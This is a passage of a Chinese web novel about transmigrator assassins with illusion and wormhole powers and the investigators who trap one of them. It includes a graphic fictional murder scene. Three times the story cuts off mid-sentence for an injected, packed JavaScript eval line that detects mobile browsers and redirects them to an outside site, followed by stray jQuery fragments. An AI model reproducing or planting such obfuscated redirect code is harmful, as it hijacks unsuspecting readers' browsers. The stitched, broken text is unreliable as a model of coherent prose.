而依欧钰证言,他在临近子时前突然陷入幻觉,目睹到一位蒙面杀手拨开人群拔剑而驰直冲厢房,他拍出一掌却猛然发觉那人露出的眉眼与沈狸双有几分相似,当即便意识到了异常从而挣脱了幻境。但却也为时已晚,被操纵着用不知何时涂满了血墨的右手留下了那道掌印。
经由夏秋桐辨闻,除了欧钰堂主外一共还有三名绣春堂弟子的身上有血墨的气味,且在他们怀中均发现了一张染着血墨的手帕。
绣春堂弟子们那晚的巡守布置为由外及内几乎等距的三圈,而他们三人的位置刚好各占一圈且与守门的欧钰可以连为一条直线。
更新已知:
幻觉具有传递性。
穿越者能力的使用范围虽然有限,但他可以以受幻者为新的原点扩展控制距离,这样他的幻觉就可以像病毒一样可以延伸感染。
具体操作方法为,用幻觉控制A,让A将带有血墨的物件交予B,那么只要A与B之间的距离合适,他就可以远程操控本不在能力范围内的B,就像信号在基站间传递一样。
也就是说,理论上只要人数足够,他可以通过这种定桩一样的传递方式,将控制距离延长至无限远。
“所以我们昨夜众卫一人的方法是不可取的,护卫在欧姑娘身边的任何一个人出了差池,我们就会满盘皆输。”于是,在将自己的分析过程精炼讲解给欧钰听后,夏秋桐断言道。
“也就是说,那歹人今夜只要躲在暗处,就能以人人相传之道勒令雅儿自戕?这天下竟有如此不讲道理的异术?!”欧钰震惊得胡子打颤,焦虑地不停摩挲着腰侧刀把硬粝的纹路。
若是以往他必然会直接怀疑这个推断的真实性,即便这对鸳鸯双侠出自青龙骑也不会例外,因为这能力听起来实在太过于匪夷所思,活像话本里捉弄人心的鬼神。
但在亲历了昨夜,在亲眼看到女儿不复清明,双目茫然地在身上刻下血字后,他彻底怕了。
“不,这次杀手会亲自动手。”沈狸双在一旁纠正道。
根据提刑司的调查,穿越者的谋杀任务有一条硬性规矩,就是最后杀害目标这一步必须由穿越者亲自动手,不能假以他人或是蛊惑受害者自杀,否则任务就算失败。
沈狸双的同期里就曾有一位被挂入穿越者任务系统的提刑官,在最后关头选择了自刭,直接导致了那名穿越者谋划了近十年的长线任务毁于一旦。
想到那张无论何时都带着温雅笑意的清俊脸庞,沈狸双无声地垂下眼睫。
“那我们该如何是好。”虽然不知道沈狸双这推断从何而来。但听到这次杀手会亲自现身,欧钰不由握紧了腰侧苍冷的战刀,恨不能当场捉住对方一刀劈碎他的头颅。可一想到杀手那拖人入幻的诡谲手段,又顿觉无力了起来。
绣春堂以铸器闻名,生意南来北往他作为一堂之主什么高手没有碰到过?可即便是能排上百晓堂天榜的那几位金字高手也没能给他带来如此强烈的挫败与无力感。
无法理解,也不可战胜。
所以他只能将希望寄托在这两位从天而降展露出了惊人能力的侠侣身上,就像行将溺毙之人攥住了最后一根稻草。
“很简单。”但夏秋桐却给出了一个欧钰完全意料之外的答案,“我们逃跑。”
“逃…逃跑?”欧钰一怔,一时想不透她话里是什么意思。他下意识地望向沈狸双,后者没有说话,只是认真地点了点头。
在最开始听到夏秋桐的计划时,沈狸双也与欧钰的反应一样,先是震惊,而后觉得不妥。
但正如夏秋桐当时所解释的那样,这是目前能拿出的最好的方案了。
“以欧姑娘的执念之深,只要触及到杀手就必然会被其扯入幻觉。”夏秋桐冷静道,“那我们只要不让杀手知晓她在哪不就好了?”
“所以夏姑娘你们才一早就将雅儿接走?”欧钰恍然大悟。先前夏秋桐进屋开解,没过多久就趁着夜色带欧若雅出门,还要欧钰封住消息不让堂中弟子们知晓。原来是为了这么一手!
“欧姑娘已被我们妥善安置,由我们的人负责看护,不过暂时无法告知她此刻所处之地,还望见谅。”沈狸双在一旁补充道。
他口中的看护欧若雅之人自然指的是胡诚进与邱雨悦,而欧若雅现在所处的位置正是胡记面馆。而为了防止穿越者通过幻境获取信息,在事件结束前这些都要对绣春堂的人保密。
欧钰显然也想到了这一点,所以对沈狸双的秘而不言表示理解,但还是不由担忧道:“可虽是如此,躲得了一时,可下次呢?若是那杀手不甘这一次失手,那又该如何是好。”
“所以这一次我们不只是要逃,还要分兵两路,引蛇出洞。”夏秋桐道。
“引蛇……哦!夏姑娘的意思是,找人假扮雅儿?”欧钰略一琢磨,明白了夏秋桐的意图。
“我们会事先散布绣春堂畏惧杀手,准备将欧姑娘密送出城的流言。”夏秋桐说出了自己的计划,“而今晚,我将假扮成欧姑娘在绣春堂与官府的联手护送下坐车出城,吸引那杀手前来。”
“可这样一来,夏姑娘你不就……”虽说心里最紧要着的是女儿的性命,但听到夏秋桐这年纪轻轻的小姑娘打算以身试险,欧钰心里也不太是滋味,“不若就让老夫……”他话还未说就老脸一红,他这壮实粗糙的样貌若是做女子扮相想想就有些不忍直视。
“我……有百毒不侵之体,那幻蛊之毒与我来说是无用的。”夏秋桐胡诌了一句后道,“而且我与欧姑娘身形相似,所以由我来易容成她才能让杀手上钩。”
夏秋桐凝望着房间里的某处,用认真又自信的语气道,“他自诩玩弄人心操纵幻象的丧鬼,那这次就让我们来给他编织幻境。”
…………
夜色黯凉,门前的石板小道上洒落一把纯白月光。
“已经按你说的准备好了。”沈狸双站在一身洋红长裙,打扮妥当的夏秋桐身边,轻声道。
依据夏秋桐的要求,白日里他以护送绣春堂车仪出城为由抽调了几个捕快,并让他们同绣春堂的弟子一同露面行动。
绣春堂与怀阳城官府不对付的消息早已是人尽皆知,此刻突然出现在一起,自然引得人们猜测。
然后他再故意让捕快们说漏几句夜逃的计划,再让人留意到绣春堂后门这辆新买的刻意加固过厢体与车骨的马车。很快,欧大小姐畏惧贼人连夜出城逃亡的消息就像雪片般飞遍了怀阳城的每个角落。
“还有你让我查的消息。”沈狸双眼神一黯,接着道,“据衙门的人调查,伏春桃曾有过一位私相交好的恩客,那人曾许诺会替其赎身,不过实则早有妻儿,随生意调往楚雍国后就与伏春桃断了联系。而王勉,在其刚行医第二年的一次义诊中,由于配错了药物导致一位6岁的小童不幸身亡。这件事导致王勉被药王宗停了行医牌三年,也成了他不可磨灭的心魔。”
夏秋桐轻轻点了点头,神色平静得让人看不出悲喜。
与她推测的一样,这一案的死者都有内心执拗的某件东西,而这份执念被穿越者利用,便成为了他们死后那唇角的一缕笑。
或许是与心上人情投意合共赴山水行乐,亦或许是妙手回春挽助小儿转危为安,现实的不可及在虚假的幻梦中得偿,这就是丧鬼送喜的真相。
“注意安全。”沈狸双凝视着夏秋桐的侧脸,那张面容是夏秋桐亲手勾勒出来的,细眉杏目,火红的唇。
明明是第一次易容她却能凭借着极为高明的手法硬是化得与欧若雅有八分相似,让人叹为观止。
夏秋桐点了下头,紧了紧腰间临时借来的出凰,一矮身子坐进了马车。
沈狸双与马车边候着的欧钰对视了一眼,同时蹬上快马。他一扬手,短鞭在马背上轻快地抽落了一声,那枣红的骏马便一溜烟地驰远,直去北街尽头的城门。
夏秋桐白天用「经常迟到的赌徒」以令人发指的效率测算出了一条从怀阳通往临城归远的路线。并且结合马车行进速度逆推出了车队的出发时间。
在她的算式里,由绣春堂和怀阳官府共同护送的车队于亥时出发,那么按照路线子时他们刚好能行至落峡山谷那处矮崖下的山道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680391|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正中。
所以沈狸双才先行一步,准备与早已埋伏在两侧悬崖的从官府调来的弓箭好手们会合,来一个守株待兔瓮中捉鳖。
由于提前招呼过,所以沈狸双径直纵马出城无人相拦。在切入山道后他便从怀中摸出烟斗释放那群带着黑气的矫健猎犬。
为了加深他对穿越者的印象,夏秋桐绘制了不同角度的穿越者小像,还将她当时在塔楼之上看见的穿越者那副双眼镂空的模样也一齐画了出来。以防雾犬这次追索失误。
可是先前没有锁定目标真的是因为印象失误吗?
沈狸双隐约觉得有哪里不对,可也说不上来,索性不再多想,压住马绳一紧马肚加速前行。
预定的地点有三十公里左右,即便沈狸双为了赶时间纵马狂奔,也用了接近半个时辰才与捕快们会合。
晚风啸鸣,沈狸双屈身藏在矮崖边丈高干枯的草丛中,月光与凛冽的风掠过簇密的草杆,像一块银锭泛起层皱。
夏秋桐挑的这个地点也是极妙,山道宽阔平坦,他们卡在山崖两头能完全将崖下情况尽收眼底。山崖本身也不高,即便是以这群捕快们拙劣的轻功也可以毫不费力地一跃而下。防止因选址地段过高导致无法追及穿越者。
沈狸双正想着,忽然余光瞥见远处一线火红流水般涌来,他握拳咳嗽了一声,示意捕快们注意。
车仗到了。
马车前头押马而行的是欧钰,绣春堂的弟子们则和捕快们一齐驭马护卫。
沈狸双凝神望着,就见欧钰转头似乎与车厢里的人交谈了些什么,然后右手握拳一举,所有持着火把的人都将手中的火把高高举过了头顶。
子时已到。
沈狸双他们没有夏秋桐那么精确的辨别时间的手段,但穿越者们却有系统计时。所以为了避免时间误差导致功亏一篑,会由夏秋桐在车厢里给出时间,车仗以火光来给崖上的沈狸双他们打暗号。
就在这时,沈狸双忽然瞥见对面崖有上一道黑色的身影扑出悬崖朝着马车纵跃而下,手上还握着一把银亮的长剑!
来了!
“拦住他!”沈狸双的动作是最快的,众目睽睽之下他没有办法使用禁物,但他有堪称江湖一绝的武功。
就见他足尖一点,疾燕般地飞掠出崖沿,手中长剑一提一推间便灌足狂浪般沛然的真气,可就在他瞄准那下扑的人影准备投出手中长剑时,他猛然意识到了问题。
雾犬们并没有响应!
而此时崖下的人们也发觉动静,欧钰看着那从天而降迅速逼近的人影,怒喝一声,烈阳般滚烫的内劲瞬间冲顶上全身,眼见着来人当头就是一刀!
「铮——」可他那全力杀戮的一刀却被一把更快的飞剑直接搁住,沈狸双投出的长剑掠起无边风雪,阴缠的真气顺着欧钰的手筋倒冲进他肺腑,让他不自禁呕出一大口血!
而这时沈狸双也已飞近,他单膝踩住那人后背,一只手钳上对方后颈,咚得一下将他剁在了马车顶上。
“沈少侠?!!”欧钰被那飞剑上的内劲冲震得两眼发昏心神狂颤,下意识就以为沈狸双陷入幻觉临阵倒戈,连忙挺身护在车门口。而其余众人也立刻变换阵型亮出兵器,将眉头紧锁的沈狸双包围在中间。
沈狸双没有解释,而是一扯身下已然昏迷之人拢面的兜帽,里面露出一张熟悉的脸,却不是那圆脸细眼的穿越者,而是本该在另一侧山崖处埋伏的捕快。
“沈少侠,这是??”欧钰也认得这捕快,心下一惊正要问询,却见沈狸双别过头,用手虚掩着什么东西凑到耳边,脸色逐渐泛白凝重。
因为就在刚刚,他收到了来自解命师的通话。
“玄武,那名穿越者的能力「寻觅」出来了,他的其中一个能力如你们所料,是幻觉。”似乎是察觉到了沈狸双那头的氛围有些微妙,解命师收敛了一贯的夸张语气,言简意赅道,“但触发媒介不是血液,而是对视十秒以上。”
“等一下…”沈狸双压低声音,他瞬间意识到了什么,觉得心脏猝然狂跳,寒意蹿上背脊,“不是,你什么意思?什么叫其中一个能力?那他的血液是用来做什么的??”
“冷静些玄武,他的血液同样是一个媒介,但用处不是幻觉,而是空间跳跃。”解命师沉声道,“他拥有两项异能力,他是回归者。”
29.何谓幸福
李向阳第一次参与谋杀任务的时候,只有十七岁。
向阳,在起这个名字的时候他的父母大抵是希望他乐观向上,活得恣意昂扬。现实是他确实有过一段非常快乐的童年,但在父母离婚后一切幸福都成了泡影。
他成了父亲输牌醉酒后的出气筒,后妈口中的赔钱货白眼狼,老师眼里糟糕邋遢的差生,同学们随意霸凌欺辱的“班级公畜”。
……
厕所里,李向阳哆嗦着握着染血的匕首,方才那个用香烟烫着他脑袋的校霸浑身是血地躺在地上,面上满是震惊与恐惧。
李向阳失神落魄地望着地上的校霸,那人颤抖地举起手想要说话,但被割开的喉管倒漏进血液堵塞住了他张开的嘴,让他只能发出咕噜噜的,行将溺毙般的悲鸣。
我杀人了。
李向阳心里循环着这一个念头,像是卡碟的唱片机,永无止境地重复着最后一句歌词,直到扭曲呲声。
他先是害怕,恐惧潮水般地上涌。让他情不自禁地浑身颤抖,手脚冰凉。
然后是痛苦,窒息一般,像是有什么东西用力钳住了他的喉管和心脏,呛疼得他不受控制地落下大滴大滴的眼泪。
最后,却是长久的茫然与莫名的畅快。
一瞬间,仿佛所有的情绪都消失了。他望着校霸濒死的逐渐翻出眼白的眼睛,听着刀上的血液滴答和自己粗重的呼吸声,闻着浓郁的,混着消毒水味道的血腥气。
好美啊。
他没来由地想到了曾经在一本画册上看到的场景,无数血红的枫叶簇拥着一位怀抱着鲜花死去的少年,就像落幕的烟火那般鲜艳又绚烂。
【您已取得谋杀者系统的认可,是否同意绑定?】
当李向阳回过神来时,他已经跨坐到了校霸的身上,手上的刀机械式地捣着他的胸膛,皮肉与内脏黏烂得像是泥浆。
那道幽蓝色的半透明显示屏静静得浮在半空,打在校霸已没有生气的脸上,像给死去的他盖了一层面巾,又像是对已经陷入绝望与疯狂的他发出无声的嘲笑。
而随着李向阳抬头,旋转视线,那则光屏也跟着移动,幻灯片一般流转在他身后,那一张张神色惊惧的脸上。
原来不是梦啊。
李向阳突然笑了,灿亮如阳。
这是一个非常标准的笑容,嘴角微微弯起,眼睛半眯,露出洁白整齐的八颗牙齿。
李向阳曾经用这样的笑容讨好着他的父亲后妈老师同学…现在他带着这样的笑容杀人。所以他同期的那些穿越者朋友们常打趣道他人如其名,只不过向的是一轮瘆人的「太阳」。就同他的能力一样,让人即便白日也能平生噩梦。
李向阳拥有的能力为【程序化梦魇】。
只要与目标对视十秒,他就可以入侵对方的精神世界,创造幻觉。
不过这幻觉并非凭空捏就,在他链接上目标后,目标的部分记忆就会被系统读取并提炼成关键词平铺在他眼前,而他通过修改或添加关键词,就能让系统自动生成幻境。
这就像通过编程在原有的素材基础上构建出游戏场景一样,不过操作会更为简单。
无论在哪个时代,精神系能力都是排的上前列的强大。但【程序化梦魇】有一个致命的问题,那就是生成的幻境无法再编辑,必须一镜到底。
这就导致了李向阳必须预测目标在幻境中的行为,提前用关键词编辑剧本,才能有效引导出自己想要的结果。
于是在跌跌撞撞地度过新手期,获得能力升级的机会时,李向阳毫不犹豫的选择了「第四天灾」这一升级分支。
这项能力允许李向阳选择一名幻境中的NPC角色扮演。但既然是扮演,如果演得不好出现了与目标记忆中的角色不一致的ooc情况,就容易让目标有所察觉。
而【程序化梦魇】的另一个缺陷就是,一旦目标因为这些割裂式的叙事意识到自己身处幻境,那么只要他想,就随时可以离开。
起初李向阳的任务完成得还算顺利,因为系统安排给他的多是一些没有未受教育,没什么独立思考能力的普通人。那些人多迷信愚昧,哪怕幻觉逻辑崩坏到突然蹦出个上仙与女鬼喝交杯酒了他们也只知道匍匐在地上颤抖着哭泣,哀嚎着仙风败坏神妖同席然后以头抢地任他宰割。
但当目标的身份地位,见识能力都上去了之后。李向阳就发现自己的能力不好使了,因为西胡本身就有幻蛊幻毒一说,所以那些人往往对此有所预期非常警惕,甚至有些智商奇高的人能在几个呼吸的时间里就发现破绽。
这就导致李向阳那段时间的任务成功率直线下降到十之五六,险些触发红线被系统抹杀。
不过好在他很快就发现,就结果来说,幻境真不真实其实不是最重要的。
因为他对付的是人,与人相干,攻心为上。
于是他不再盲目的想当然的去编造幻觉,而是会事先调查,对症下药。
例如好色者那就尝予美色,贪财者那就奉上至宝,迷恋权势那就让他体验一把人上人的爽快,执迷武学进境那就赐他一身天下无双的武功和一个独孤求败的强敌。
于是那些自诩聪命的人将杀戮的幻境错当成美梦,甚至有些人明知道一切都是虚假的却被哄得不愿醒来,直到死亡。
而这些对诊下药的幻觉里最好使的一种,李向阳叫它「后悔药」。
后悔年少轻狂时的错过,后悔一时赌气的话语,后悔逃避,后悔错付,后悔……人生有太多值得追悔的东西,而李向阳只要筛选,并将它们修改成幻觉,那些人就会如扑火的飞蛾般奋不顾身,哪怕怀里失而复得的爱人已经握上尖刀,露出狰狞的獠牙,他们也不愿放手。
从此李向阳靠着一手惑幻能力无往不利,没有人可以逃脱他精心创造的幻境。直到那个女人的出现——云樾国怀阳城绣春堂堂主夫人安怀心。
那是一个叫【惊悚舞台剧】的任务,要求李向阳在特定的时间特定的地点让目标在恐惧的情绪中身亡。
目标一共有五位,前四位他依然用了自己最擅长的解法,先是筛选出他们心里最惧怕的东西,例如黑夜、虫豸豺狼等等,然后针对性布下幻觉将他们击杀,很是顺利。
可是在链接安怀心时他吓了一跳,因为可以读取到的关键词实在是太少了,甚至里面没有任何一条与恐惧有关的。
关键词提取量少这种情况李向阳也不是没有遇到过,通常是因为目标的意志比较强大,精神壁垒厚实所以系统只能读取到只言片语。
但安怀心却不只是意志坚定那么简单,她的心态实在太稳了,就像执棋万场的弈手,领兵无数的将军,仿佛全天下已经没有什么东西值得她动摇恐惧。李向阳常用的装神弄鬼对她而言也不过雕虫小技。
但李向阳不死心,因为这个任务失败他就要再在这个世界拖一年才能回去。
他喜欢杀戮的快感,喜欢那种居高临下切进对方软肋肆意玩弄的感觉。但在无数人的精神世界里遨游后他也逐渐觉得索然无味,甚至会在某些无人的深夜突然怀想起原来的世界,想着那个世界会不会有哪怕一个人,为曾经对他的所作所为后悔悲伤呢。
他迫切地想要知道这一点。
于是为了完成任务李向阳花了一个月的时间以杂役的身份混入了绣春堂。并寻找机会对安怀心下手,可是一次都没有成功过。
起初安怀心以为自己是操劳过度才生出梦魇,后来次数多了她就怀疑起来,并且很快就注意到了李向阳。
毕竟对视十秒这个条件虽然方便隐蔽,但重复太多次难免会留下痕迹,何况那人还是武功高强五感明锐的安怀心?
于是在察觉到安怀心起疑心后李向阳连夜逃出了绣春堂,并将突破口锁定在了欧若雅身上。
如若在旁人看来,会觉得安怀心是一个冷厉的严母,虽然不至打骂,但面对欧若雅时她却总是沉着一张脸,还立下了不少的规矩。绣春堂弟子们每日最常见到的画面就是自家那梳着羊角小辫的大小姐边哭边往外跑,然后被堂主夫人一脸一脸冷漠地压着肩膀带回。
但李向阳因为过去的经历对这类血缘之情格外敏感,所以他轻易就知道了在安怀心严厉外表下藏着的,是对欧若雅的爱。
可这份爱有多少呢?李向阳不知道,他没有得到过,所以也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704053|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不清楚这份爱能到何种分量。
但他没有其他方法了,定妆时间迫在眉睫。
于是他铤而走险,再次摸进绣春堂,诱导欧若雅发现堂中那条隐秘的暗道,又用幻觉夸大了欧若雅眼中与母亲的矛盾,骗她去了泉合林。
那夜的雨下的很大,他撑着伞抱着欧若雅,心里却紧张得很。威胁的函件早已悄悄递出,但他不确定安怀心真的会按要求一个人前来。毕竟他的杀意太过明显,她来了那基本就是默认以命换命。
所谓母爱,真能做到这份上吗?
“……”
李向阳的身影出现在潮湿狭小的房间里,窗外骤下的暴雨将他的回忆打断。
三张包好的墨函摔在地上,封口的透明袋口被打开,暗色的墨迹像蠕虫一样耸动着渗出纸页,流汇成他脚下浓稠的一滩。
能力【腥红虫洞】,是李向阳作为二次回归者的奖励,是他从近千个A级异能力里挑选出来的,最适合自己的一个。
它允许能力者以自身的血液为媒介设立节点,然后制造出一个打通能力者与节点之间空间的「虫洞」。
虫洞有距离限制,每一个都可以使用三次。只有能力者拥有权利开关虫洞,虫洞开启时就相当于一个可供空间跃迁的通道,而关闭时就只有声音可以单向传播,起到了类似监听器的作用。
所以得益于那几封预告函,夏秋桐他们的所有计划他其实都听的清清楚楚。包括他们那晚讨论调虎离山,将欧若雅安排在胡记面馆的计划。
此刻,李向阳的双眼上一片蠕动的漆黑,但很快他的两只眼睛就钻过虫洞摁回进眼眶。
这也是他为何选择【腥红虫洞】的原因,这能力并非简单的传送,而是打开了一条通道,所以他完全可以通过窥探虫洞与那些查看预告函的人对视,达成【程序化梦魇】的生效条件。
比如刚才,他就利用事先涂在那山崖树干上的血液成功传送双眼蛊惑了一名捕快,让他以为山崖下的马车是来进犯的敌军……想必那里现在应该已经是一团乱麻了吧。
李向阳露出微笑,他没有拿伞,而是一拍手掌,下一秒,身影就出现在了黑暗的房间中。
为了万无一失他早就在那两个提刑官为欧若雅准备的房间里偷抹了足够他传送的血。
昏暗的房间里只有一簇烛火慢摇,欧若雅坐在椅子上,无声凝望着火光。
“在等我吗?”李向阳露出微笑,背着的手反握着匕首漫步到她的身前。欧若雅没有说话。
任务【预言中的幸福】。
这是一个需要他提前发送预告函、做好倒计时,并在规定时间点将沉陷在幸福中的受害者杀死的故事。对如今的李向阳来说这任务再简单不过。
何谓幸福?
圆满是幸福,但将破碎的过去推倒重来,将遗憾悔改也是一种幸福。
李向阳坐在欧若雅对面,欧若雅转过头看向他,眨了眨眼。
“怎么,记起来我了吗?”李向阳凝视着她的双眼,“十一年了,你的娘亲等了你整整十一年,现在,她让我来接你了。”
李向阳说着说着嘴角情不自禁地上弯了起来,露出了残忍的狞笑。
是啊,十一年,天知道他在任务名单上看到欧若雅的名字时有多兴奋。
一想到这一家两代人穿越了十载光阴先后葬送在自己手中,他就满足得想要颤抖,这何尝不是一种难得的缘分与宿命?!
欧若雅不说话,但微笑起来。
李向阳莫名觉得脊背一凉,他突然意识到自己明明已经与欧若雅对视超过十秒以上,但却并没有任何可以构成幻觉的关键词传来!
而上一次他遇见这种情况,还是在夏秋桐的身上!
“你究竟是谁?”李向阳意识到不对劲,悍然出手一掌震碎圆桌,但那「欧若雅」却没有反抗,直接被他这气劲荡得向后飘飞起,然后脑袋啪嗒一声,居然就这么断开来滚到地上!
在李向阳骇然的目光中,那「欧若雅」落了地的头颅细眉一拧,小嘴一撇激情开麦:“哎哟我嘞个火烧老爷子姑奶奶屁股个腿,你个小瘪崽子今晚就得给老娘死!!”
30.血染泉合
四阶禁物【嘴臭的掉头娃娃】,唯二的特性是可以随意塑造的外形以及不间断无重复不堪入耳的谩骂。
若是放在平时这对于经历过两次穿越的李向阳来说就是个滑稽逗趣的奇怪玩意,但此时此刻,在这一片黑暗寂凉的房间里,一颗会口吐人言模样拟真的脑袋就颇为诡异骇人了。
李向阳下意识地想逃,可刚往后退了两步脚心就传来一阵剧烈的刺痛!他忙撇起右腿,赫然看见脚板上扎进去一根尖长的钢钉!
陷阱??
李向阳疼出了冷汗,单立着的左脚摇晃踉跄眼见就要摔倒。于是他忙用手撑了一下墙壁,但掌根被扎穿的剧痛让他触电般地拔回了手,随后他再也维持不住平衡就要往地上倾倒去。
到底怎么回事??
在看到那光秃秃的墙面上那一截锋利染血的铁刺后,李向阳忍不住在心里唾口大骂。突然他产生了一个不太好的联想,连忙回头往下看,果然见地面他就要坐倒的位置上也粘着一根钉子。
“雕虫小技!”李向阳咬牙哼了一声,袍袖飞卷,真气激荡,硬生生用浑厚的内力托停住了就要摔下的身体,然后足跖切在地上猛力一抬,身子就以一个诡异的弧度旋飞而起。
可他不过刚纵跃出一个身位多的距离,衣领就又被天花板上的一根倒钩挂住。他上纵的余力未消,就被突如其来钩子往后一勒,两股力道相扯间险些拧伤脖子,不过好在李向阳急中生智,用自己方才溅在地上的血生成虫洞,将平坦的地面与钩子进行了置换。
李向阳摔在地上,然后迅速爬了起来,足底的钉子也在一呼一吸间被他用内力逼出,驼铃般弹在地上。
他咬牙切齿眼睛,狼似的拱起后背。房间狭小不便,于是他从袖口滑出了一柄带着鲨齿的精铁短刀。
他自然知道这一切都来自于那两个提刑官的算计,他们恐怕早就知道虫洞的监听功能,故意漏出消息做了一个局中之局。
这里才是真正的瓮!
该死。
虽然很遗憾,但李向阳只能选择放弃这次的任务,毕竟这里的欧若雅一看就知道是个假货,而欧若雅真正藏身的位置他也并不清楚,要想赶在定妆时间前将其杀死已经基本是不可能的了。
于是他不再动作,而是闭上双眼,黑暗的空间里一瞬间跳动出数不清的血红得发紫的火焰,这些都是他曾经布下过的虫洞节点。
可是这些火焰却都与他相隔遥远,颜色也并不鲜亮明媚,就像是多贴了一层黯淡的罩灰。这代表着这些节点与他距离过远,无法接通。
可是,可是他分明提前在胡记面馆的周围设置过点位了啊?!
这里到底是什么地方?
李向阳感觉到头皮发麻,但他强迫自己冷静了下来。
这里还有一簇火焰。
在无数遥远灰暗的火焰前,在离他最近的,甚至近在咫尺的位置,还有一簇也是唯一一簇鲜明着的火焰!
李向阳真气扑卷而起,手中短匕振臂飞出。黑暗中像凌空的画布一般滑出一道雪白的冰棱将飞匕截下,夏秋桐解除「不可觉察之人」,真身降临至黑夜,她微微皱了下眉头,似乎想不明白李向阳是怎么发现藏在心理学盲区的自己的,甚至还是在闭着双目的状态下。
“果然是你。”李向阳的袖子里又滑出了一把武器,这次是一把蛇形的短剑,淬火的剑尖泛着毒蛇般的青色。作为执行谋杀任务的穿越者,他贴身携带着多件不同的兵器,几乎每一件都是黑市里一等一的好货。
他用审视的目光盯着夏秋桐,“「不可觉察之人」,原来你居然真的可以夺取系统的能力。”
夏秋桐歪了歪脑袋,没有回答。而她漠然的态度让李向阳一下子回忆起曾经那些用冷漠的目光打量着自己的人,心头顿生怒火,抬手就要欺身出剑。
却见夏秋桐突然一个下蹲,还没等李向阳反应过来,她身后的黑暗里便猝然射出三枚泛寒的铜梭!
李向阳忙用真气甩开飞梭,眼见着就要点上椅子借力翻上房梁,可那椅子却突然像长了眼一样挪出去一格,让李向阳的脚冷不丁点在地上差点就要扭伤。
可还没等姿势狼狈的李向阳站稳,那摔在床边的,冒牌欧若雅的无头身体忽然动了起来从床底下拖曳出一把长剑,对着李向阳的脑袋狠狠砍去!
这TMD到底是什么鬼东西??这里难道是鬼屋吗?穿越者的禁物里还有这玩意?
李向阳格开「欧若雅」劈来的一剑,可同时,床底下却又突然斩出一把锋利的长刀!
「猫咪的舞台剧」
这一切并非是什么鬼魂作祟,而是一场预录的「场景」。
李向阳的武功很高,能力也很诡异,而且不确定他有没有监测「不被觉察之人」的手段。所以在没有沈狸双的帮助下,即使手握沧月夏秋桐也没有十足的把握可以拿下他,需要提前对他进行削弱。
于是夏秋桐调取了这件禁物,并与欧若雅一起提前进行了布置。
最后录影启动,人像消失,保留在舞台剧里的物品就像是自己会动一般,只等主演李向阳上钩落座。
这件事说来简单但实际却很难落实,因为物品存在的位置和移动轨迹都是预先设置好的,所以若想这些布置能对李向阳造成伤害,那就必须要精准预测李向阳的行动轨迹,将他纳入预想的节奏里。也只有拥有「妄想演绎法」的夏秋桐才敢做出这么异想天开的设计。
而在夏秋桐的预想里,被吓到的李向阳会后退着踩上地板上的钉子,然后撑手间又在墙上吃了一颗,摔倒的时候他大概率会反应过来,且会第一时间用轻功飞身而上去破开相对脆弱的屋顶,然后被她提前安装的钩子扯回地上。
前面一切都发展的很完美,李向阳简直就像没有思考意识的游戏NPC一样轻易就踩进了夏秋桐设下的各种陷阱里。直到他突然对用能力躲藏起来的夏秋桐出手。
节奏一下子全乱了。
虽然夏秋桐通过临场发挥让其中几个陷阱产生了作用,但大部分的布置都变成了无用功。
比如那嘴臭娃娃挥舞的一剑本该在李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740397|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向阳的胸膛砍上一刀,因为那三枚飞梭的作用其实是钉中李向阳的衣裳将他固定在墙上,而椅子撤开而是为了防止他踩椅背借力挣脱。但因为李向阳突然改变了动作,导致后续的陷阱全都脱离了预想中的效果。
夏秋桐听到一片针雨密集扎进木板的声音,那是这个剧场的最后一步,被钉在墙上的穿越者被密雨般粹着毒药的银针扎中,最后浑身无力任人宰割。
但现在,那一片黑暗里爆射而出的针雨却连李向阳的一片衣角都没有打中。
夏秋桐将沧月举到身前,凝住呼吸,真气涌上冰寒的剑身。
好在,她亲自蹲守就是为了扭转现在这种功亏一篑的局面,从而奠定胜局。
趁李向阳还未从骤雨般促急的连环攻势下缓过来神,夏秋桐悍然出手,【御剑师】瞬间挂载,让她身上的气势陡然一扬。
李向阳不敢怠慢,腰间长剑震飞出鞘,他一手执剑一手横刀,双兵交缠着拧上沧月,却见魄寒的冰气蛛丝般侵蚀起他的刃锋,惊得他忙震气将夏秋桐抬远。饶是如此,他那长剑与短刀上还是结下了一层微薄的寒霜。
“这就是你的本命禁物吧,很强大,但幸好你并不会使用它。”李向阳看着刃上的白霜融化褪去,露出笑来。
他作为穿越过两任的回归者,也跟提刑官这个专门追杀穿越者的群体打过交道。
夏秋桐手中的禁物很强,是肉眼就能看出来的强大,剑风吞寒无水凝霜,比他见过的提刑官们的本命禁物都要厉害 。
